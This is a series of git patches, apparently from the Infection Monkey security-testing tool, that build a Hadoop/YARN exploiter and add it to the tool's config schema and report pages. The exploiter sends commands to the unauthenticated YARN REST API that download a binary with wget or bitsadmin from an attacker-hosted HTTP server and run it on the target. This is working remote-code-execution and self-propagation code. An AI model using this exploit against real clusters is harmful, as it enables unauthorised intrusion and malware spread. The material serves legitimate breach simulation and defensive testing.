json.loads(resp.content) + app_id = resp['application-id'] + # Create a random name for our application in YARN + rand_name = "".join([random.choice(string.ascii_lowercase) for _ in xrange(6)]) + payload = { + "application-id": app_id, + "application-name": rand_name, + "am-container-spec": { + "commands": { + "command": command, + } + }, + "application-type": "YARN" + } + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) + + def try_exploit(self, url): + # Get the newly created application id + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + if resp.status_code == 200: + return True + else: + return False \ No newline at end of file diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 16c7502f1..662b58b6d 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -93,6 +93,13 @@ SCHEMA = { "WebLogicExploiter" ], "title": "Oracle Web Logic Exploiter" + }, + { + "type": "string", + "enum": [ + "HadoopExploiter" + ], + "title": "Hadoop/Yarn Exploiter" } ] }, @@ -634,7 +641,8 @@ SCHEMA = { "SambaCryExploiter", "ElasticGroovyExploiter", "Struts2Exploiter", - "WebLogicExploiter" + "WebLogicExploiter", + "HadoopExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index f8647e81e..c3eaf4ed2 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -31,7 +31,8 @@ class ReportService: 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', 'Struts2Exploiter': 'Struts2 Exploiter', - 'WebLogicExploiter': 'Oracle WebLogic exploiter' + 'WebLogicExploiter': 'Oracle WebLogic Exploiter', + 'HadoopExploiter': 'Hadoop/Yarn Exploiter' } class ISSUES_DICT(Enum): @@ -44,7 +45,8 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 - WEBLOGIC = 9 + WEBLOGIC = 9, + HADOOP = 10 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -306,6 +308,12 @@ class ReportService: processed_exploit['type'] = 'weblogic' return processed_exploit + @staticmethod + def process_hadoop_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'hadoop' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -319,7 +327,8 @@ class ReportService: 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, 'Struts2Exploiter': ReportService.process_struts2_exploit, - 'WebLogicExploiter': ReportService.process_weblogic_exploit + 'WebLogicExploiter': ReportService.process_weblogic_exploit, + 'HadoopExploiter': ReportService.process_hadoop_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -441,6 +450,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True elif issue['type'] == 'weblogic': issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True + elif issue['type'] == 'hadoop': + issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index ac796af61..198cf021c 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -25,7 +25,8 @@ class ReportPageComponent extends AuthComponent { AZURE: 6, STOLEN_SSH_KEYS: 7, STRUTS2: 8, - WEBLOGIC: 9 + WEBLOGIC: 9, + HADOOP: 10 }; Warning = @@ -331,6 +332,8 @@ class ReportPageComponent extends AuthComponent {
  • Oracle WebLogic servers are vulnerable to remote code execution. ( CVE-2017-10271)
  • : null } + {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? +
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null }
    : @@ -716,6 +719,22 @@ class ReportPageComponent extends AuthComponent { ); } + generateHadoopIssue(issue) { + return ( +
  • + Run Hadoop in secure mode( + add Kerberos authentication). + + Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible due to default Hadoop/Yarn configuration being insecure. +
    +
  • + ); + } + generateIssue = (issue) => { @@ -769,6 +788,9 @@ class ReportPageComponent extends AuthComponent { case 'weblogic': data = this.generateWebLogicIssue(issue); break; + case 'hadoop': + data = this.generateHadoopIssue(issue); + break; } return data; }; From c7952dcbc547dd7a943580458f96779d2eb17aee Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 31 Jul 2018 18:05:51 +0300 Subject: [PATCH 188/243] Fixed reporting and upploading bugs --- infection_monkey/exploit/hadoop.py | 55 +++++++++++++------ infection_monkey/network/mssql_fingerprint.py | 3 +- .../cc/ui/src/components/pages/ReportPage.js | 4 +- 3 files changed, 41 insertions(+), 21 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index 3490a3129..805f0f602 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -12,7 +12,7 @@ from exploit.web_rce import WebRCE from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth import posixpath from threading import Lock -from model import DROPPER_ARG +from model import DROPPER_ARG, DOWNLOAD_TIMEOUT __author__ = 'VakarisZ' @@ -20,13 +20,17 @@ LOG = logging.getLogger(__name__) class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] - HADOOP_PORTS = ["8088"] - LINUX_COMMAND = "wget -O %(monkey_path)s %(http_path)s " \ - "&& chmod +x %(monkey_path)s " \ + # TODO add more hadoop ports + HADOOP_PORTS = [["8088", False]] + + # We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes + # to download monkey at the same time + LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ + "&& wget -O %(monkey_path)s %(http_path)s " \ + "; chmod +x %(monkey_path)s " \ "&& %(monkey_path)s %(monkey_type)s %(parameters)s" WINDOWS_COMMAND = "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s " \ "&& %(monkey_path)s %(monkey_type)s %(parameters)s" - LOCK = Lock() def __init__(self, host): @@ -47,25 +51,33 @@ class HadoopExploiter(WebRCE): if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - # Determine which destination path to use + # Determine where to save monkey on the target LOG.debug("Monkey path found") path = WebRCE.get_monkey_dest_path(self._config, src_path) - # Build command to execute - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) - if 'linux' in self.host.os['type']: - command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": src_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} - else: - command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": src_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} - if not path: - return False # To avoid race conditions we pass a locked lock to http servers thread self.LOCK.acquire() # Create server for http download and wait for it's startup. http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK) self.LOCK.acquire() - self.exploit(url, command) + + # Build command to execute + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) + if 'linux' in self.host.os['type']: + command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + else: + command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + # command = "! [ -f %(monkey_path)s ] wget -O %(monkey_path)s %(http_path)s" % {"monkey_path": path, "http_path": http_path} + if not path: + return False + + if not self.exploit(url, command): + return False + self.LOCK.release() + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + return True def exploit(self, url, command): # Get the newly created application id @@ -85,10 +97,17 @@ class HadoopExploiter(WebRCE): "application-type": "YARN" } resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) + if resp.status_code == 202: + return True + else: + return False def try_exploit(self, url): # Get the newly created application id - resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + try: + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + except requests.ConnectionError: + return False if resp.status_code == 200: return True else: diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 9409c2255..ea4370d24 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -29,7 +29,8 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ - + # TODO remove auto-return + return False assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 198cf021c..cd417d47a 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -332,7 +332,7 @@ class ReportPageComponent extends AuthComponent {
  • Oracle WebLogic servers are vulnerable to remote code execution. ( CVE-2017-10271)
  • : null } - {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? + {this.state.report.overview.issues[this.Issue.HADOOP] ?
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null } @@ -722,7 +722,7 @@ class ReportPageComponent extends AuthComponent { generateHadoopIssue(issue) { return (
  • - Run Hadoop in secure mode( + Run Hadoop in secure mode( add Kerberos authentication). Oracle WebLogic server at {issue.machine} ( Date: Fri, 3 Aug 2018 18:28:02 +0300 Subject: [PATCH 189/243] Final tests, windows command changed --- infection_monkey/exploit/hadoop.py | 24 +++++++++++++----------- infection_monkey/transport/http.py | 2 +- 2 files changed, 14 insertions(+), 12 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index 805f0f602..a5839697f 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -12,15 +12,15 @@ from exploit.web_rce import WebRCE from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth import posixpath from threading import Lock -from model import DROPPER_ARG, DOWNLOAD_TIMEOUT +from model import MONKEY_ARG __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) + class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] - # TODO add more hadoop ports HADOOP_PORTS = [["8088", False]] # We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes @@ -29,8 +29,10 @@ class HadoopExploiter(WebRCE): "&& wget -O %(monkey_path)s %(http_path)s " \ "; chmod +x %(monkey_path)s " \ "&& %(monkey_path)s %(monkey_type)s %(parameters)s" - WINDOWS_COMMAND = "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s " \ - "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \ + " Update /download /priority high %(http_path)s %(monkey_path)s " \ + "& %(monkey_path)s %(monkey_type)s %(parameters)s" + DOWNLOAD_TIMEOUT = 90 LOCK = Lock() def __init__(self, host): @@ -64,18 +66,17 @@ class HadoopExploiter(WebRCE): monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) if 'linux' in self.host.os['type']: command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} else: command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} - # command = "! [ -f %(monkey_path)s ] wget -O %(monkey_path)s %(http_path)s" % {"monkey_path": path, "http_path": http_path} + "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} if not path: return False - if not self.exploit(url, command): + if not self.exploit(exploitable_url, command): return False self.LOCK.release() - http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() return True @@ -102,7 +103,8 @@ class HadoopExploiter(WebRCE): else: return False - def try_exploit(self, url): + @staticmethod + def try_exploit(url): # Get the newly created application id try: resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) @@ -111,4 +113,4 @@ class HadoopExploiter(WebRCE): if resp.status_code == 200: return True else: - return False \ No newline at end of file + return False diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index b65fda4e9..cae4842d0 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -179,7 +179,7 @@ class HTTPServer(threading.Thread): self._stopped = True - def stop(self, timeout=60): + def stop(self, timeout=5): self._stopped = True self.join(timeout) From 504281dbcb9fb38186133263643395a12af6e7e7 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 4 Aug 2018 13:04:30 +0300 Subject: [PATCH 190/243] quick-fix --- infection_monkey/network/mssql_fingerprint.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index ea4370d24..f973f3d87 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -29,8 +29,6 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ - # TODO remove auto-return - return False assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout From 02c27584da6cc82eb4a4fc96ffd66837b2b44c76 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sun, 26 Aug 2018 14:13:28 +0300 Subject: [PATCH 191/243] Refactored according to latest web_rce framework changes --- infection_monkey/exploit/hadoop.py | 55 +++++++++++++++++------------- 1 file changed, 31 insertions(+), 24 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index a5839697f..1065e7aec 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -9,7 +9,7 @@ import random import string import logging from exploit.web_rce import WebRCE -from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth +from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth, get_monkey_dest_path import posixpath from threading import Lock from model import MONKEY_ARG @@ -32,8 +32,8 @@ class HadoopExploiter(WebRCE): WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \ " Update /download /priority high %(http_path)s %(monkey_path)s " \ "& %(monkey_path)s %(monkey_type)s %(parameters)s" + # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 90 - LOCK = Lock() def __init__(self, host): super(HadoopExploiter, self).__init__(host) @@ -41,7 +41,7 @@ class HadoopExploiter(WebRCE): def exploit_host(self): # Try to get exploitable url exploitable_url = False - urls = WebRCE.build_potential_urls(self.host, self.HADOOP_PORTS) + urls = self.build_potential_urls(self.host, self.HADOOP_PORTS) for url in urls: if self.try_exploit(url): exploitable_url = url @@ -55,27 +55,29 @@ class HadoopExploiter(WebRCE): return False # Determine where to save monkey on the target LOG.debug("Monkey path found") - path = WebRCE.get_monkey_dest_path(self._config, src_path) + path = get_monkey_dest_path(src_path) + if not path: + return False # To avoid race conditions we pass a locked lock to http servers thread - self.LOCK.acquire() + lock = Lock() + lock.acquire() # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK) - self.LOCK.acquire() + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, lock) + lock.acquire() # Build command to execute monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) if 'linux' in self.host.os['type']: - command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path, - "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} + base_command = self.LINUX_COMMAND else: - command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path, - "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} - if not path: - return False + base_command = self.WINDOWS_COMMAND + + command = base_command % {"monkey_path": path, "http_path": http_path, + "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} if not self.exploit(exploitable_url, command): return False - self.LOCK.release() + lock.release() http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() return True @@ -87,16 +89,7 @@ class HadoopExploiter(WebRCE): app_id = resp['application-id'] # Create a random name for our application in YARN rand_name = "".join([random.choice(string.ascii_lowercase) for _ in xrange(6)]) - payload = { - "application-id": app_id, - "application-name": rand_name, - "am-container-spec": { - "commands": { - "command": command, - } - }, - "application-type": "YARN" - } + payload = self.build_payload(app_id, rand_name, command) resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) if resp.status_code == 202: return True @@ -114,3 +107,17 @@ class HadoopExploiter(WebRCE): return True else: return False + + @staticmethod + def build_payload(app_id, name, command): + payload = { + "application-id": app_id, + "application-name": name, + "am-container-spec": { + "commands": { + "command": command, + } + }, + "application-type": "YARN" + } + return payload From 568320c298191f3a3c7c0c633cd3e756695810d0 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 28 Aug 2018 16:05:41 +0300 Subject: [PATCH 192/243] Refactored, notes fixed but file server still timeouts --- infection_monkey/exploit/hadoop.py | 80 +++++++++++------------------- 1 file changed, 30 insertions(+), 50 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index 1065e7aec..95a074f55 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -9,10 +9,9 @@ import random import string import logging from exploit.web_rce import WebRCE -from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth, get_monkey_dest_path +from tools import HTTPTools, build_monkey_commandline, get_monkey_depth import posixpath -from threading import Lock -from model import MONKEY_ARG +from model import MONKEY_ARG, ID_STRING, DROPPER_ARG __author__ = 'VakarisZ' @@ -34,50 +33,27 @@ class HadoopExploiter(WebRCE): "& %(monkey_path)s %(monkey_type)s %(parameters)s" # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 90 + # Random string's length that's used for creating unique app name + RAN_STR_LEN = 6 def __init__(self, host): - super(HadoopExploiter, self).__init__(host) + super(HadoopExploiter, self).__init__(host, {'linux': './monkey.sh', + 'win32': '%temp%\\monkey32.exe', + 'win64': '%temp%\\monkey64.exe'}) def exploit_host(self): # Try to get exploitable url - exploitable_url = False - urls = self.build_potential_urls(self.host, self.HADOOP_PORTS) - for url in urls: - if self.try_exploit(url): - exploitable_url = url - break - if not exploitable_url: - LOG.info("No exploitable Hadoop server found") + urls = self.build_potential_urls(self.HADOOP_PORTS) + self.add_vulnerable_urls(urls, True) + if not self.vulnerable_urls: return False - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) + paths = self.get_monkey_paths() + if not paths: return False - # Determine where to save monkey on the target - LOG.debug("Monkey path found") - path = get_monkey_dest_path(src_path) - if not path: + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path']) + command = self.build_command(paths['dest_path'], http_path) + if not self.exploit(self.vulnerable_urls[0], command): return False - # To avoid race conditions we pass a locked lock to http servers thread - lock = Lock() - lock.acquire() - # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, lock) - lock.acquire() - - # Build command to execute - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) - if 'linux' in self.host.os['type']: - base_command = self.LINUX_COMMAND - else: - base_command = self.WINDOWS_COMMAND - - command = base_command % {"monkey_path": path, "http_path": http_path, - "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} - - if not self.exploit(exploitable_url, command): - return False - lock.release() http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() return True @@ -88,25 +64,29 @@ class HadoopExploiter(WebRCE): resp = json.loads(resp.content) app_id = resp['application-id'] # Create a random name for our application in YARN - rand_name = "".join([random.choice(string.ascii_lowercase) for _ in xrange(6)]) + rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)]) payload = self.build_payload(app_id, rand_name, command) resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) - if resp.status_code == 202: - return True - else: - return False + return resp.status_code == 202 - @staticmethod - def try_exploit(url): - # Get the newly created application id + def check_if_exploitable(self, url): try: resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) except requests.ConnectionError: return False - if resp.status_code == 200: - return True + return resp.status_code == 200 + + def build_command(self, path, http_path): + default_path = self.get_default_dropper_path() + # Build command to execute + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) + if 'linux' in self.host.os['type']: + base_command = self.LINUX_COMMAND else: - return False + base_command = self.WINDOWS_COMMAND + + return base_command % {"monkey_path": path, "http_path": http_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} @staticmethod def build_payload(app_id, name, command): From 818aae3a2ce7cbc4deefc18c1c5d1e75aafa840b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 28 Aug 2018 19:33:36 +0300 Subject: [PATCH 193/243] Hadoop exploitation tested on windows and linux --- infection_monkey/exploit/hadoop.py | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index 95a074f55..c41badd52 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -11,7 +11,7 @@ import logging from exploit.web_rce import WebRCE from tools import HTTPTools, build_monkey_commandline, get_monkey_depth import posixpath -from model import MONKEY_ARG, ID_STRING, DROPPER_ARG +from model import MONKEY_ARG, ID_STRING __author__ = 'VakarisZ' @@ -32,14 +32,12 @@ class HadoopExploiter(WebRCE): " Update /download /priority high %(http_path)s %(monkey_path)s " \ "& %(monkey_path)s %(monkey_type)s %(parameters)s" # How long we have our http server open for downloads in seconds - DOWNLOAD_TIMEOUT = 90 + DOWNLOAD_TIMEOUT = 60 # Random string's length that's used for creating unique app name RAN_STR_LEN = 6 def __init__(self, host): - super(HadoopExploiter, self).__init__(host, {'linux': './monkey.sh', - 'win32': '%temp%\\monkey32.exe', - 'win64': '%temp%\\monkey64.exe'}) + super(HadoopExploiter, self).__init__(host) def exploit_host(self): # Try to get exploitable url @@ -77,16 +75,15 @@ class HadoopExploiter(WebRCE): return resp.status_code == 200 def build_command(self, path, http_path): - default_path = self.get_default_dropper_path() # Build command to execute - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) if 'linux' in self.host.os['type']: base_command = self.LINUX_COMMAND else: base_command = self.WINDOWS_COMMAND return base_command % {"monkey_path": path, "http_path": http_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} @staticmethod def build_payload(app_id, name, command): From 49904d0cb08b571dfe37f8a3f7741ea343ce06b2 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 28 Aug 2018 20:53:40 +0300 Subject: [PATCH 194/243] Undone server's closing timeout, even though I think 60 is too much --- infection_monkey/transport/http.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index cae4842d0..b65fda4e9 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -179,7 +179,7 @@ class HTTPServer(threading.Thread): self._stopped = True - def stop(self, timeout=5): + def stop(self, timeout=60): self._stopped = True self.join(timeout) From c8e131d9138decf24f8e5831df6299e5d022256f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 30 Aug 2018 14:20:52 +0300 Subject: [PATCH 195/243] Added a space before bracket in report --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index cd417d47a..f7220d3ec 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -722,7 +722,7 @@ class ReportPageComponent extends AuthComponent { generateHadoopIssue(issue) { return (
  • - Run Hadoop in secure mode( + Run Hadoop in secure mode ( add Kerberos authentication). Oracle WebLogic server at {issue.machine} ( Date: Thu, 30 Aug 2018 15:42:07 +0300 Subject: [PATCH 196/243] Improved error handling if firewall does not allow to open http server --- infection_monkey/exploit/tools.py | 1 + infection_monkey/exploit/web_rce.py | 8 ++++++-- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 1b7f32003..337052030 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -407,6 +407,7 @@ class HTTPTools(object): local_ip = get_interface_to_target(host.ip_addr) if not firewall.listen_allowed(): + LOG.error("Firewall is not allowed to listen for incomming ports. Aborting") return None, None httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 97708ab24..fe969c04c 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -95,7 +95,7 @@ class WebRCE(HostExploiter): # Upload the right monkey to target data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands']) - if data is not False and data['response'] is False: + if data is False: return False # Change permissions to transform monkey into executable file @@ -341,7 +341,11 @@ class WebRCE(HostExploiter): http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Uploading process finished") - return {'response': resp, 'path': paths['dest_path']} + # If response is false exploiter failed + if resp is False: + return resp + else: + return {'response': resp, 'path': paths['dest_path']} def change_permissions(self, url, path, command=None): """ From 9eb2895c496c6c217bfaa7c2fd236c4fa5be85b7 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 4 Sep 2018 17:18:01 +0300 Subject: [PATCH 197/243] * CR comments fixed --- infection_monkey/requirements.txt | 1 - .../system_info/mimikatz_collector.py | 6 +- .../system_info/windows_info_collector.py | 13 +- monkey_island/cc/app.py | 4 - monkey_island/cc/resources/pthmap.py | 21 -- monkey_island/cc/resources/pthreport.py | 13 - monkey_island/cc/services/pth_report.py | 176 +--------- monkey_island/cc/services/pth_report_utils.py | 24 +- monkey_island/mymap.py | 330 ------------------ 9 files changed, 13 insertions(+), 575 deletions(-) delete mode 100644 monkey_island/cc/resources/pthmap.py delete mode 100644 monkey_island/cc/resources/pthreport.py delete mode 100644 monkey_island/mymap.py diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index 60656280b..9e9adc97f 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -13,7 +13,6 @@ PyInstaller six ecdsa netifaces -mock nos ipaddress wmi diff --git a/infection_monkey/system_info/mimikatz_collector.py b/infection_monkey/system_info/mimikatz_collector.py index 89222c2e2..4d994c6ab 100644 --- a/infection_monkey/system_info/mimikatz_collector.py +++ b/infection_monkey/system_info/mimikatz_collector.py @@ -21,10 +21,10 @@ class MimikatzCollector(object): self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name) collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) - getTextOutput = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) + get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) self._collect = collect_proto(("collect", self._dll)) self._get = get_proto(("get", self._dll)) - self._getTextOutput = getTextOutput(("getTextOutput", self._dll)) + self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) self._isInit = True except Exception: LOG.exception("Error initializing mimikatz collector") @@ -44,7 +44,7 @@ class MimikatzCollector(object): logon_data_dictionary = {} hostname = socket.gethostname() - self.mimikatz_text = self._getTextOutput() + self.mimikatz_text = self._get_text_output_proto() for i in range(entry_count): entry = self._get() diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 30685569b..d63553b8f 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -113,12 +113,11 @@ def fix_wmi_obj_for_mongo(o): row[method_name[3:]] = value except wmi.x_wmi: - #LOG.error("Error running wmi method '%s'" % (method_name, )) - #LOG.error(traceback.format_exc()) continue return row + class WindowsInfoCollector(InfoCollector): """ System information collecting module for Windows operating systems @@ -126,6 +125,7 @@ class WindowsInfoCollector(InfoCollector): def __init__(self): super(WindowsInfoCollector, self).__init__() + self.info['reg'] = {} def get_info(self): """ @@ -162,9 +162,6 @@ class WindowsInfoCollector(InfoCollector): for wmi_class_name in WMI_CLASSES: self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name) - # for wmi_class_name, props in WMI_LDAP_CLASSES.iteritems(): - # self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name, "//./root/directory/ldap", props) - def get_wmi_class(self, class_name, moniker="//./root/cimv2", properties=None): _wmi = wmi.WMI(moniker=moniker) @@ -175,8 +172,6 @@ class WindowsInfoCollector(InfoCollector): wmi_class = getattr(_wmi, class_name)(properties) except wmi.x_wmi: - #LOG.error("Error getting wmi class '%s'" % (class_name, )) - #LOG.error(traceback.format_exc()) return return 